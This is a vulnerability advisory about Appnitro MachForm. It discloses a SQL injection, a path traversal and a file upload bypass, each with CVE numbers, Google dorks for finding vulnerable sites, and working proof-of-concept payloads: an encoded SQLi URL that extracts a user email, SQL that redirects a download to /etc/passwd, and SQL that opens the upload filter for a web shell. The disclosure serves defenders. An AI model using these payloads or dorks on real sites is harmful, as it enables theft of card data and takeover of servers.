Appnitro MachForm SQL Injection / Traversal / File Upload

Risk: High
Local: No
Remote: Yes

Vendor: Appnitro Product webpage: Full-Disclose: Fix: Author: Amine Taouirsa @metalamin Google dork examples: ---------------------- "machform" inurl:"view.php" "machform" inurl:"embed.php" Summary: --------- The form creation platform MachForm from Appnitro is subject to SQL injections that lead to path traversal and arbitrary file upload. The application is widely deployed and with some google dorks itas possible to find various webpages storing sensitive data as credit card numbers with corresponding security codes. Also, the arbitrary file upload can let an attacker get control of the server by uploading a WebShell. [1] SQL injection (CVE-2018-6410): ------------------------- [1.1] Description: The software is subject to SQL injections in the adownload.phpa file. [1.2] Parameters and statement: This SQLi can be found on the parameter aqa which a base64 encoded value for the following parameters: $form_id = $params['form_id']; $id = $params['id']; $field_name = $params['el']; $file_hash = $params['hash']; So the injectable parameters are aela and aform_ida obtaining error-based, stacked queries and time-based blind SQL injections. This is due to the following vulnerable statement: $query = "select {$field_name} from `".MF_TABLE_PREFIX."form_{$form_id}` where id=?"; [1.3] POC Proof of concept to get the first user mail: http:// [URL] / [Machform_folder] /download.php?q=ZWw9IChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHgyMDIwLChTRUxFQ1QgTUlEKCh1c2VyX2VtYWlsKSwxLDUwKSBGUk9NIGFwX3VzZXJzIE9SREVSIEJZIHVzZXJfaWQgTElNSVQgMCwxKSwweDIwMjAsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNIQVJBQ1RFUl9TRVRTIEdST1VQIEJZIHgpYSkgOyZpZD0xJmhhc2g9MSZmb3JtX2lkPTE= Which is the base64 encoding for: el= (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x2020,(SELECT MID((user_email),1,50) FROM ap_users ORDER BY user_id LIMIT 0,1),0x2020,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) ;&id=1&hash=1&form_id=1 [2] Path traversal (CVE-2018-6409): ----------------------------------- [2.1] Descrition download.phpa is used to serve stored files from the forms answers. Modifying the name of the file to serve on the corresponding ap_form table leads to a path traversal vulnerability. [2.2] POC First we need to change the name for the element on the form: update ap_form_58009 set element_4="../../../../../../../../../../../../../../../../etc/passwd" where id=1; Now in order to be able to download it, we need to access: http:// [URL] / [Machform_folder] /download.php?q=ZWw9NCZpZD0xJmhhc2g9NDAyYmEwMjMwZDZmNDRhMmRlNTkwYWMxMTEwN2E0NTgmZm9ybV9pZD01ODAwOQo= Which is the base64 encoding for; el=4&id=1&hash=402ba0230d6f44a2de590ac11107a458&form_id=58009 Note that hash is the MD5 of the corresponding filename: md5("../../../../../../../../../../../../../../../../etc/passwd") = 402ba0230d6f44a2de590ac11107a458 [3] Bypass file upload filter (CVE-2018-6411): ---------------------------------------------- When the form is set to filter a blacklist, it automatically add dangerous extensions to the filters. If the filter is set to a whitelist, the dangerous extensions can be bypassed. This can be done directly on the database via SQLi update ap_form_elements set element_file_type_list="php",element_file_block_or_allow="a" where form_id=58009 and element_id=4; Once uploaded the file can be found and executed in the following URL: http:// [URL] / [Machform_folder] /data/form_58009/files/ [filename] The filename can be found in the database SELECT element_4 FROM ap_form_58009 WHERE id=1; -- Amine Taouirsa Hacking | Head of Hacking Research T. +34 917 281 504 | M. +34 644 486 240 Avda.
